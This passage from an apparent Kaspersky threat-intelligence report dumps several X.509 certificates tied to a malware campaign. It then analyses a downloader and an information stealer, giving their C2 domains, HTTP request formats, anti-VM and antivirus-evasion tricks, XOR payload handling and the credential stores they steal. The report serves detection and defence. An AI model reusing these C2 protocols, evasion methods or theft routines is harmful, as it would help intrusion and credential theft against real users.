Certificate: Data: Version: 3 (0x2) Serial Number: 2176345 (0x213559) Signature Algorithm: sha1WithRSAEncryption 47 TLP: Green For any inquiries, please contact intelreportskaspersky.com Issuer: CMY, ODigicert Sdn.
Bhd.,
OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Dec 17 08:55:45 2008 GMT Not After : Dec 17 08:55:45 2010 GMT Subject: CMY, OJARING Communications Sdn.
Bhd.,
OUJARING, CNwww.flexicorp.jaring.my, LW.Persekutuan/ emailAddresssysadminjaring.my, STKuala Lumpur Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:ed:61:d7:12:f3:94:1a:5f:d1:8b:28:35:b4:18: 38:d3:32:7b:7b:79:94:79:64:3d:db:bd:ad:f2:ff: 6c:61:fd:43:05:c1:f8:41:95:de:01:c2:ca:98:65: d6:9f:bc:21:5c:35:76:9f:ff:3a:62:88:7b:32:21: 94:52:e1:46:ef Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 46:B9:8C:9E:2E:F7:69:2F X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 7b:15:12:93:d0:13:c8:91:f1:18:a9:76:bb:87:b4:44:aa:77: 27:05:a6:5b:95:6c:c0:6f:c5:94:7d:33:94:d3:6e:12:6f:dd: 90:12:18:e9:a6:48:cb:d8:a4:8a:a4:68:70:92:32:fd:d8:7c: 00:9c:db:de:7e:dd:1e:41:b0:2e:4c:48:f0:73:85:79:a8:df: 68:45:41:97:01:06:b2:c4:9f:9d:04:6a:13:d4:6e:63:ec:bf: c9:00:82:f2:51:89:33:c0:3b:ba:4c:eb:8a:98:a3:28:34:30: 5d:ab:12:c6:71:cf:09:68:3d:47:6d:f2:c0:9e:41:44:83:7c: 0b:fe 48 TLP: Green For any inquiries, please contact intelreportskaspersky.com BEGIN CERTIFICATE MIIC3jCCAkegAwIBAgIDITVZMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDgxMjE3 MDg1NTQ1WhcNMTAxMjE3MDg1NTQ1WjCBuzELMAkGA1UEBhMCTVkxJzAlBgNVBAoT HkpBUklORyBDb21tdW5pY2F0aW9ucyBTZG4uQmhkLjEPMA0GA1UECxMGSkFSSU5H MSAwHgYDVQQDExd3d3cuZmxleGljb3JwLmphcmluZy5teTEWMBQGA1UEBxMNVy5Q ZXJzZWt1dHVhbjEhMB8GCSqGSIb3DQEJARYSc3lzYWRtaW5AamFyaW5nLm15MRUw EwYDVQQIEwxLdWFsYSBMdW1wdXIwXDANBgkqhkiG9w0BAQEFAANLADBIAkEA7WHX EvOUGl/Riyg1tBg40zJ7e3mUeWQ9272t8v9sYf1DBcH4QZXeAcLKmGXWn7whXDV2 n/86Yoh7MiGUUuFG7wIDAQABo4GKMIGHMBEGA1UdDgQKBAhGuYyeLvdpLzBEBgNV HSAEPTA7MDkGBWCDSgEBMDAwLgYIKwYBBQUHAgEWImh0dHA6Ly93d3cuZGlnaWNl cnQuY29tLm15L2Nwcy5odG0wHwYDVR0jBBgwFoAUxhaTThYX7BaujJR284ZtxXRu hHcwCwYDVR0PBAQDAgTwMA0GCSqGSIb3DQEBBQUAA4GBAHsVEpPQE8iR8RipdruH tESqdycFpluVbMBvxZR9M5TTbhJv3ZASGOmmSMvYpIqkaHCSMv3YfACc2953R5B sC5MSPBzhXmo32hFQZcBBrLEn50EahPUbmPsv8kAgvJRiTPAO7pM64qYoyg0MF2r EsZxzwloPUdt8sCeQUSDfAv END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 2674380 (0x28cecc) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn.
Bhd.,
OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Dec 7 08:02:08 2009 GMT Not After : Dec 7 08:02:08 2010 GMT Subject: CMY, OBANK NEGARA MALAYSIA, OUBANK NEGARA MALAYSIA, CNpayments.bnm.gov.my Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a0:c6:99:f0:88:9a:1c:ee:f7:22:72:5e:bc:1f: 02:40:68:f6:95:54:36:75:56:b3:31:0b:0c:54:c3: 46:e9:39:ec:62:b4:83:61:2d:b1:ab:42:3b:a2:4f: 4b:98:bb:6c:37:a8:3d:98:26:c8:2d:5f:75:86:3f: b4:39:be:41:53 49 TLP: Green For any inquiries, please contact intelreportskaspersky.com Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 42:65:56:13:70:34:D0:63 X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption aa:32:37:ce:26:23:14:3e:dc:33:77:a6:bb:df:8d:f1:27:b1: 64:05:b3:9b:a3:5c:d7:63:e7:7b:bd:63:a4:a1:61:7c:d0:3c: 1e:c5:e6:a2:a9:01:6f:36:4a:44:de:50:f3:a0:53:d0:39:56: a8:b5:05:d0:24:42:b8:2e:d3:98:f3:0a:1a:94:29:73:eb:d2: 38:9b:a0:9f:9e:39:2d:52:10:57:4e:12:8e:72:2a:e3:87:80: f8:f2:16:5d:56:15:cc:ea:74:96:f4:ef:d1:2e:1b:70:f9:bb: ba:b9:2a:b1:4c:3d:38:51:10:e0:4e:8d:53:05:6b:88:a1:77: ab:a0 BEGIN CERTIFICATE MIICizCCAfSgAwIBAgIDKM7MMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkxMjA3 MDgwMjA4WhcNMTAxMjA3MDgwMjA4WjBpMQswCQYDVQQGEwJNWTEdMBsGA1UEChMU QkFOSyBORUdBUkEgTUFMQVlTSUExHTAbBgNVBAsTFEJBTksgTkVHQVJBIE1BTEFZ U0lBMRwwGgYDVQQDExNwYXltZW50cy5ibm0uZ292Lm15MFwwDQYJKoZIhvcNAQEB BQADSwAwSAJBAKDGmfCImhzu9yJyXrwfAkBo9pVUNnVWszELDFTDRuk57GK0g2Et satCO6JPS5i7bDeoPZgmyC1fdYY/tDmQVMCAwEAAaOBijCBhzARBgNVHQ4ECgQI QmVWE3A00GMwRAYDVR0gBD0wOzA5BgVgg0oBATAwMC4GCCsGAQUFBwIBFiJodHRw Oi8vd3d3LmRpZ2ljZXJ0LmNvbS5teS9jcHMuaHRtMB8GA1UdIwQYMBaAFMYWk04W FwWroyUdvOGbcV0boR3MAsGA1UdDwQEAwIE8DANBgkqhkiG9w0BAQUFAAOBgQCq MjfOJiMUPtwzd6a7343xJ7FkBbObo1zXYd7vWOkoWF80DwexeaiqQFvNkpE3lDz oFPQOVaotQXQJEK4LtOY8woalClz69I4m6CfnjktUhBXThKOcirjh4D48hZdVhXM 6nSW9O/RLhtwbu6uSqxTD04URDgTo1TBWuIoXeroA END CERTIFICATE 50 TLP: Green For any inquiries, please contact intelreportskaspersky.com Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1f:80:95:bf:76 Signature Algorithm: sha1WithRSAEncryption Issuer: OGlobalSign Inc, CNCybertrust SureServer CA Validity Not Before: Feb 16 18:44:52 2009 GMT Not After : Feb 16 18:44:52 2011 GMT Subject: CNambermms.syniverse.com, CUS/emailAddressbelinda.jablonskisyniverse.com, LTampa, OSyniverse Technologies Inc., OUCrossroads, STFlorida Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9: bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87: ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a: e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5: 40:7f:bb:e9:35 Exponent: 65537 (0x10001) X509v3 extensions: Netscape Cert Type: SSL Client, SSL Server X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 Authority Key Identifier: keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B 6:5B:84:89:23 X509v3 CRL Distribution Points: Full Name: URI:http://crl.globalsign.net/sureserver.crl X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha1WithRSAEncryption 11:6e:15:44:b0:d1:a9:98:61:27:c0:f2:28:ac:50:70:e6:63: 25:f2:75:ec:4d:30:fe:0a:34:ed:77:54:4a:d4:53:0f:60:d6: 51 TLP: Green For any inquiries, please contact intelreportskaspersky.com 45:8a:70:6f:5f:c8:c2:bd:8d:4d:6b:e2:f4:d6:43:cc:34:fe: ad:ba:b6:ec:cb:88:68:0d:38:ba:99:b9:18:73:c9:1d:05:97: 5e:95:43:c5:92:a9:00:f6:2f:4d:8c:51:09:bb:22:74:b4:9e: 34:96:d9:9c:82:d2:fb:2c:be:0c:29:4d:50:5f:a5:3c:1a:d5: 38:ca:d9:74:7a:81:c5:11:79:a4:4d:c6:23:81:14:2b:d3:b1: 46:18:b6:c0:e2:4a:97:b6:07:c3:d7:b6:77:51:d9:4f:05:21: 45:bb:b0:7c:4f:bc:6e:f6:72:62:22:28:1c:b0:06:70:02:2b: c5:11:b6:d0:c3:e0:ce:d7:81:ff:d6:c7:97:03:9d:87:68:b7: 3a:c4:53:18:bf:cc:e4:b3:7f:fc:6b:83:b1:35:04:c1:ee:ea: 42:d5:bf:c2:57:ff:18:a3:ce:52:a4:2c:92:2a:6f:b6:98:62: 45:98:96:76:90:80:32:b9:8c:fe:93:a8:86:e9:50:62:9a:a6: 11:52:1d:81:67:dc:84:ed:d8:e4:3d:a1:b7:0f:85:fd:b1:4b: 6f:bd:fe:3c BEGIN CERTIFICATE MIIDRjCCAi6gAwIBAgILAQAAAAABH4CVv3YwDQYJKoZIhvcNAQEFBQAwPDEXMBUG A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl cnZlciBDQTAeFw0wOTAyMTYxODQ0NTJaFw0xMTAyMTYxODQ0NTJaMIG7MR8wHQYD VQQDExZhbWJlcm1tcy5zeW5pdmVyc2UuY29tMQswCQYDVQQGEwJVUzEuMCwGCSqG SIb3DQEJARYfYmVsaW5kYS5qYWJsb25za2lAc3luaXZlcnNlLmNvbTEOMAwGA1UE BxMFVGFtcGExJDAiBgNVBAoTG1N5bml2ZXJzZSBUZWNobm9sb2dpZXMgSW5jLjET MBEGA1UECxMKQ3Jvc3Nyb2FkczEQMA4GA1UECBMHRmxvcmlkYTBcMA0GCSqGSIb3 DQEBAQUAA0sAMEgCQQClE1MXAvfNM2R96CeP6byr25Y7QQ22xCoQ1WRYh6xi3gku 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Validity Not Before: Oct 26 00:00:00 2009 GMT Not After : Oct 26 23:59:59 2010 GMT Subject: CUS, STMissouri, LBridgeton, OVantage Credit Union, OUIT Department, CNsecure2.eecu.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:be:6e:4a:59:2e:33:40:79:33:79:d9:9b:34:68: a6:74:f1:7f:02:d1:ac:91:21:5a:e1:bf:34:03:62: 33:0d:bb:bc:0a:29:ec:9c:fd:ea:16:ac:9d:e3:1b: 6f:7d:c7:68:ef:ee:04:03:6f:83:23:cd:1e:82:bb: ab:24:6d:22:7f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Key Usage: Digital Signature, Key Encipherment X509v3 CRL Distribution Points: Full Name: URI:http://ofxG3crl.verisign.com/OFXG3.crl Authority Information Access: OCSP URI: http://ocsp.verisign.com CA Issuers URI: http://ofxG3aia.verisign.com/OFXG3.cer X509v3 Certificate Policies: Policy: 2.16.840.1.113733.1.7.23.3 CPS: https://www.verisign.com/rpa 2.16.840.1.113733.1.6.7: .
74cb5e68cb6fa8877cc86c25d1d7ce05 Signature Algorithm: sha1WithRSAEncryption 19:35:da:ac:91:36:a2:6c:7e:a0:96:75:9c:23:e1:e2:c3:f5: 9e:76:6d:42:6e:3a:2f:c6:23:79:ed:33:7b:c4:d4:a3:58:c3: 53 TLP: Green For any inquiries, please contact intelreportskaspersky.com f3:30:e2:69:4e:f9:01:89:41:f7:6a:dd:03:1f:6a:c9:e3:c9: ab:68:9f:6c:f6:67:31:76:32:e6:75:7b:e5:3a:31:3c:91:7e: e2:a0:94:18:ef:c9:75:d8:b2:28:bf:ed:8c:e4:69:0b:a6:95: aa:7c:3c:41:07:0e:fb:80:35:54:4c:3b:c8:c3:ac:2b:c2:86: c5:a8:61:20:38:22:e9:9c:23:82:d7:e3:80:ee:f1:aa:c6:cd: 27:42:d2:3f:9a:83:66:db:41:66:ee:e7:4a:f9:75:c0:bd:e6: 6c:dd:0e:e2:e5:34:8d:79:2c:cc:cb:79:1b:b0:46:08:ed:18: ce:38:65:b5:f0:87:fc:23:12:fe:9f:03:d3:0b:5b:0e:e8:9d: b5:c3:b7:36:f3:b9:42:4c:c4:64:5b:5f:d4:68:ec:40:de:a3: 29:92:8a:a9:75:78:8a:bb:07:e4:49:c4:80:5e:94:c5:6c:7a: 50:a5:7d:90:18:6b:0d:49:69:f9:93:d6:5b:24:82:a7:85:ee: d8:f4:fe:6e:f5:81:0c:e2:de:5c:44:c2:f6:67:ee:e3:f0:8c: 07:ff:34:90 BEGIN CERTIFICATE MIIEOzCCAyOgAwIBAgIQcalgHz2HRjCbv17PKCSL/jANBgkqhkiG9w0BAQUFADCB sjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1c2Ug YXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYykwOTEsMCoGA1UEAxMj VmVyaVNpZ24gQ2xhc3MgMyBTZWN1cmUgT0ZYIENBIC0gRzMwHhcNMDkxMDI2MDAw MDAwWhcNMTAxMDI2MjM1OTU5WjCBhjELMAkGA1UEBhMCVVMxETAPBgNVBAgTCE1p c3NvdXJpMRIwEAYDVQQHFAlCcmlkZ2V0b24xHTAbBgNVBAoUFFZhbnRhZ2UgQ3Jl ZGl0IFVuaW9uMRYwFAYDVQQLFA1JVCBEZXBhcnRtZW50MRkwFwYDVQQDFBBzZWN1 cmUyLmVlY3UuY29tMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL5uSlkuM0B5M3nZ mzRopnTxfwLRrJEhWuG/NANiMw27vAop7Jz96hasneMbb33HaO/uBANvgyPNHoK7 qyRtIn8CAwEAAaOCAT0wggE5MAkGA1UdEwQCMAAwCwYDVR0PBAQDAgWgMDoGA1Ud HwQzMDEwL6AtoCuGKWh0dHA6Ly9vZngtRzMtY3JsLnZlcmlzaWduLmNvbS9PRlgt RzMuY3JsMGsGCCsGAQUFBwEBBF8wXTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3Au dmVyaXNpZ24uY29tMDUGCCsGAQUFBzAChilodHRwOi8vb2Z4LUczLWFpYS52ZXJp c2lnbi5jb20vT0ZYLUczLmNlcjBEBgNVHSAEPTA7MDkGC2CGSAGGEUBBxcDMCow KAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEwMAYKYIZI AYb4RQEGBwQiFiA3NGNiNWU2OGNiNmZhODg3N2NjODZjMjVkMWQ3Y2UwNTANBgkq hkiG9w0BAQUFAAOCAQEAGTXarJE2omxoJZ1nCPh4sP1nnZtQm46L8Yjee0ze8TU o1jD8zDiaU75AYlB92rdAx9qyePJq2ifbPZnMXYy5nV75ToxPJF4qCUGO/Jddiy KL/tjORpC6aVqnw8QQcO4A1VEw7yMOsK8KGxahhIDgi6ZwjgtfjgO7xqsbNJ0LS P5qDZttBZu7nSvl1wL3mbN0O4uU0jXkszMt5G7BGCO0YzjhltfCH/CMS/p8D0wtb DuidtcO3NvO5QkzEZFtf1GjsQN6jKZKKqXV4irsH5EnEgF6UxWx6UKV9kBhrDUlp ZPWWySCp4Xu2PTbvWBDOLeXETC9mfu4/CMB/80kA END CERTIFICATE Certificate: 54 TLP: Green For any inquiries, please contact intelreportskaspersky.com Data: Version: 3 (0x2) Serial Number: (Negative)0a:40:06:6d:24:7d:41:54:b2:c3:e9:e2 :a4:57:97:59 Signature Algorithm: md5WithRSAEncryption Issuer: CNRoot Agency Validity Not Before: Jun 9 10:31:21 2009 GMT Not After : Dec 31 23:59:59 2039 GMT Subject: CNMicrosoft Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (1024 bit) Modulus: 00:cd:25:d3:98:06:2d:91:f1:ad:d7:17:32:66:0a: d6:25:a0:7f:ff:2e:6c:68:95:f9:92:09:a0:63:a5: 80:54:22:e6:92:13:b8:67:05:3f:80:69:34:07:e4: c3:00:bc:86:f3:51:64:22:d7:ab:07:be:e5:f7:e7: 97:b3:3d:9f:fc:10:b0:52:e7:d1:62:40:2a:18:83: b6:4d:62:e6:f5:9f:fe:16:5e:41:d7:2b:af:54:a7: 8e:af:a9:08:df:39:b2:cb:cf:bf:52:c3:bf:04:8f: a0:c0:16:89:ce:06:df:6e:d9:26:8a:a7:01:f8:9b: 23:35:3b:4c:96:6d:4a:10:41 Exponent: 65537 (0x10001) X509v3 extensions: 2.5.29.1: 0........ O..a..dc..0.1.0...U....Root Agency...7l...d......\5.
Signature Algorithm: md5WithRSAEncryption 1a:0c:28:45:f5:5e:b1:a9:04:3a:30:7a:0b:e2:dd:f2:7c:89: 22:ac:17:b5:f3:87:6f:e4:09:9e:55:73:f9:11:7b:11:d2:d7: 26:08:03:47:6f:6b:b5:1d:24:04:50:d4:cb:91:99:ac:13:72: 16:32:05:be:7e:1a:79:29:19:5e BEGIN CERTIFICATE MIIBuTCCAWOgAwIBAgIQ9b/5ktuCvqtNPBYdW6hopzANBgkqhkiG9w0BAQQFADAW MRQwEgYDVQQDEwtSb290IEFnZW5jeTAeFw0wOTA2MDkxMDMxMjFaFw0zOTEyMzEy MzU5NTlaMBQxEjAQBgNVBAMTCU1pY3Jvc29mdDCBnzANBgkqhkiG9w0BAQEFAAOB jQAwgYkCgYEAzSXTmAYtkfGt1xcyZgrWJaB//y5saJX5kgmgY6WAVCLmkhO4ZwU/ 55 TLP: Green For any inquiries, please contact intelreportskaspersky.com gGk0BTDALyG81FkIterB77l9eXsz2f/BCwUufRYkAqGIO2TWLm9Z/Fl5B1yuv VKeOr6kI3zmyy8/UsO/BIgwBaJzgbfbtkmiqcBJsjNTtMlm1KEEECAwEAAaNL MEkwRwYDVR0BBEAwPoAQEuQJLQYdHU8AjWEh3BZkY6EYMBYxFDASBgNVBAMTC1Jv b3QgQWdlbmN5ghAGN2wAqgBkihHPuNSqXDX0MA0GCSqGSIb3DQEBBAUAA0EAGgwo RfVesakEOjB6CLd8nyJIqwXtfOHbQJnlVzRF7EdLXJggDR29rtR0kBFDUy5GZ rBNyFjIFvn4aeSkZXg END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1f:71:31:72:c9 Signature Algorithm: sha1WithRSAEncryption Issuer: OGlobalSign Inc, CNCybertrust SureServer CA Validity Not Before: Feb 13 19:00:51 2009 GMT Not After : Feb 13 19:00:51 2011 GMT Subject: CNinpack.syniverse.com, CUS/emailAddressbelinda.jablonskisyniverse.com, LTampa , OSyniverse Technologies Inc., OUCrossroads, STFlorida Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9: bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87: ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a: e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5: 40:7f:bb:e9:35 Exponent: 65537 (0x10001) X509v3 extensions: Netscape Cert Type: SSL Client, SSL Server X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 Authority Key Identifier: keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B 6:5B:84:89:23 X509v3 CRL Distribution Points: Full Name: 56 TLP: Green For any inquiries, please contact intelreportskaspersky.com URI:http://crl.globalsign.net/sureserver.crl X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha1WithRSAEncryption 95:2a:42:59:bd:18:1a:ec:20:e9:96:0d:7f:f2:bc:4e:79:8a: 44:21:a4:d7:46:03:94:a8:ec:d0:28:29:07:d0:f5:bc:91:c5: 21:34:16:dd:87:ee:dc:6a:d4:e7:f4:d4:f9:a6:04:bb:60:53: 2b:14:19:8a:2c:2e:1f:6a:8f:97:22:d6:f4:e5:44:06:c2:22: ee:cf:b2:19:67:fa:40:0f:9c:cf:58:7f:53:21:af:c0:02:ad: d8:7c:19:3c:f3:52:f4:10:30:f0:61:24:a9:9d:18:01:a3:f5: c9:29:ab:65:66:ef:a5:2d:cd:53:e2:44:09:ea:8d:4c:bc:ef: 1a:b6:2c:7b:df:16:39:94:8b:33:cb:14:16:c2:93:42:6c:4d: 18:99:ba:7b:fa:91:74:f0:9a:1e:ae:92:b4:94:43:bb:96:ba: 7e:6a:df:38:9c:2e:7c:11:37:37:4c:20:80:5d:6b:e2:94:41: 98:7d:cc:26:ca:cc:4f:81:4d:95:16:bb:26:db:1f:fe:03:fc: a2:50:9c:49:0b:45:7c:86:fc:5c:a6:31:34:f2:08:f1:03:16: 10:e0:90:0c:e7:02:4e:95:f5:e8:32:03:a3:fb:78:17:dc:23: bf:b4:59:e6:6f:91:1c:38:cd:b7:9e:48:a0:6b:68:98:00:e3: 33:48:18:ae BEGIN CERTIFICATE MIIDRDCCAiygAwIBAgILAQAAAAABH3ExcskwDQYJKoZIhvcNAQEFBQAwPDEXMBUG A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl cnZlciBDQTAeFw0wOTAyMTMxOTAwNTFaFw0xMTAyMTMxOTAwNTFaMIG5MR0wGwYD VQQDExRpbnBhY2suc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkqhkiG 9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNVBAcT BVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4xEzAR BgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG9w0B AQEFAANLADBIAkEApRNTFwL3zTNkfegnjm8q9uWO0ENtsQqENVkWIesYt4JLsVf ecXVniabGprjmTviLkhnF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCGSAGG EIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RHZiNP ANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9iYWxz aWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEB BQUAA4IBAQCVKkJZvRga7CDplg1/8rxOeYpEIaTXRgOUqOzQKCkH0PW8kcUhNBbd h7catTn9NT5pgS7YFMrFBmKLC4faoXItb05UQGwiLuz7IZZ/pAD5zPWH9TIa/A Aq3YfBk881L0EDDwYSSpnRgBo/XJKatlZulLc1T4kQJ6o1MvO8atix73xY5lIsz 57 TLP: Green For any inquiries, please contact intelreportskaspersky.com yxQWwpNCbE0Ymbp7pF08JoerpK0lEO7lrpat84nC58ETc3TCCAXWvilEGYfcwm ysxPgU2VFrsm2x/A/yiUJxJC0V8hvxcpjE08gjxAxYQ4JAM5wJOlfXoMgOj3gX 3CO/tFnmb5EcOM23nkiga2iYAOMzSBiu END CERTIFICATE 58 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix d. malcode technical notes small downloader Filename MD5 Link Time (UTC) Linker msieckc.exe 41b816289a6a639f7f2a72b6c9e6a695 2012.04.11 18:31:48 6.0 technical details to ensure only single instance of the module is running, the module verifies if system mutex named 132df6e exists.
If it exists the module exits, if not   the module creates one.
the module implements a method to resist running in virtual environment.
It gets cpU name and identifier from the registry at HKLm\HardWare\descrIptIon\ system\centralprocessor\0 and collects Ip and mac addresses of local network adapters.
after that it compiles a string describing the system in the following format:   c  p  U  : cpUnamebr net card : Ip (macaddr)br.
next it checks if this string contains one of the following substrings: VmWare QemU 192.168.100.
If any of these strings is found, the module terminates.
after that, there is a hardcoded value of 10, which delays further execution of the module for 10 seconds.
then the module attempts to delete some other, prob- ably older, components which might be present on the system.
the list of deleted files includes the following: appdata\microsoft\crypto\des64v7\dtlcntr.exe appdata\microsoft\crypto\des64v7\googletoolbar.exe appdata\microsoft\crypto\des64v7\active.dll appdata\microsoft\crypto\des64v7\detect.dll the next is step is to check if current directory has a file named U.
If not, the module proceeds with network communication routine.
But if this file is found it does some additional checks.
If U file is older than 180 days, the module wipes 59 TLP: Green For any inquiries, please contact intelreportskaspersky.com the file.
If not, it triggers a special variable that makes module dormant and dis- ables further communication with cc server.
after all, if the module is ready and allowed to communicate with cc server it does that in the following manner.
1.
the module connects to autolace.twilightparadox.com  (or automachine.
servequake.com)  and issues a Http Get request with hardcoded User agent string: Get /major/images/view.php Http/1.1 User agent: mozilla/4.0 (compatible msIe 8.0 Windows nt 6.1 trident/4.0 sLcc2 .net cLr 2.0.50727 .net cLr 3.5.30729 .net cLr 3.0.30729 media center pc 6.0) Host: autolace.twilightparadox.com connection: Keep alive cache control: no cache the server response should contain deXt87 string which is used to rec- ognize valid response.
the malware locates deXt87 and reads the data appended to it.
the appended data should be an Ip address in plaintext.
this is used a real cc Ip address.
reading stops when non digit or dot symbol is found.
Here is an example of shortest possible valid server response: Http/1.1 200 oK content Length: 17 deXt87192.168.1.1 2.
If the real cc Ip address is not valid the module may try to send identical request again but using a different Http path: /major/images/read.php If the cc Ip address is valid, the module issues another Http request: Get /major/txt/read.php Http/1.1 User agent: mozilla/4.0 (compatible msIe 8.0 Windows nt 6.1 trident/4.0 sLcc2 .net cLr 2.0.50727 .net cLr 3.5.30729 .net cLr 3.0.30729 media cen- ter pc 6.0) Host: autolace.twilightparadox.com connection: Keep alive cache control: no cache the server response can be one of the following: a.   deXt87no b.   deXt87updatasIZedata 60 TLP: Green For any inquiries, please contact intelreportskaspersky.com Where datasIZe is a decimal integer that represents length of data field in bytes data is a binary data separated from datasIZe field by semicolon.
please note, that after receiving data, it is Xored with byte value 0x55 and saved to a disk in a file named ctfmon.exe (current directory is used).
Upon successful receiving of the file it is started in a new process.
Information stealer Filename MD5 Link Time (UTC) Linker dmaUp3.exe 864cd4a59215a7db2740dfbe4a648053 2012.04.30 00:25:59 6.0 this module is relatively large (455Kb) and comes as a part of Winrar sfX file that drops and starts the module from appdata\microsoft\display\dmaUp3.
exe.
the main purpose of the module is to collect various secrets stored on a local system.
this module is designed not to run on Windows with system default codepage set to Korean.
technical details from the very beginning this module checks if bdagent.exe process is running on current system.
Bdagent.exe is a name for Bitdefender antivirus component.
If it is running, it uses simple aV heuristics evasion technique.
the code starts a thread that simulates keystrokes of esc keyboard key and then shows a system modal message box.
pushing esc key closes the modal message box.
right after that keystroke generation thread is terminated and the module continues normal execution as if bdagent.exe was not running.
next the module makes sure only one instance of current code is running by checking if system mutex object named 920111215 exists.
after that, the mod- ule collects information about current system which includes the following: network adapter mac address cpU name and Identifier system default codepage Windows os and service pack versions Hostname and Ip address Local user name cached passwords from Internet explorer 6/7/8/9 (protected storage and Intelliforms) 61 TLP: Green For any inquiries, please contact intelreportskaspersky.com mozilla firefox stored secrets (12.0) chrome stored secrets ms outlook express accounts ms Windows mail accounts ms Windows Live mail accounts ms outlook accounts (smtp/Imap/pop3/Http) msn messenger Gmail notifier credentials Google desktop accounts Google talk accounts If the module reveals that current system default codepage is 0412 (Korean) it terminates.
there is one interesting specifics in microsoft Intelliforms which reveals attack- ers interests.
Intelliforms technology keeps login/password information in the registry in encrypted form.
However, there is no clear information about the corre- sponding website which requires given login and password.
the only information Intelliforms offers about the place where given login/password should be used is a hash of the webpage UrL.
so far, the attackers can steal logins and pass- words but to understand where they are from they must guess the string which produced given hash.
they have implemented this logics in the malware.
When Intelliforms information is stolen the malware tries to check the list of known login page UrLs to recover the originating webpage address.
Here is the list of UrLs that are checked by the malware:            62 TLP: Green For any inquiries, please contact intelreportskaspersky.com                       the list of targeted services includes some local services specifically popular in: United states russia china Japan middle eastern countries India the module uses several simple Xor based algorithms to encrypt embedded string data.
string encryption/decryption functions use the following keys: Microsoft Corporation.
All rights reserved.
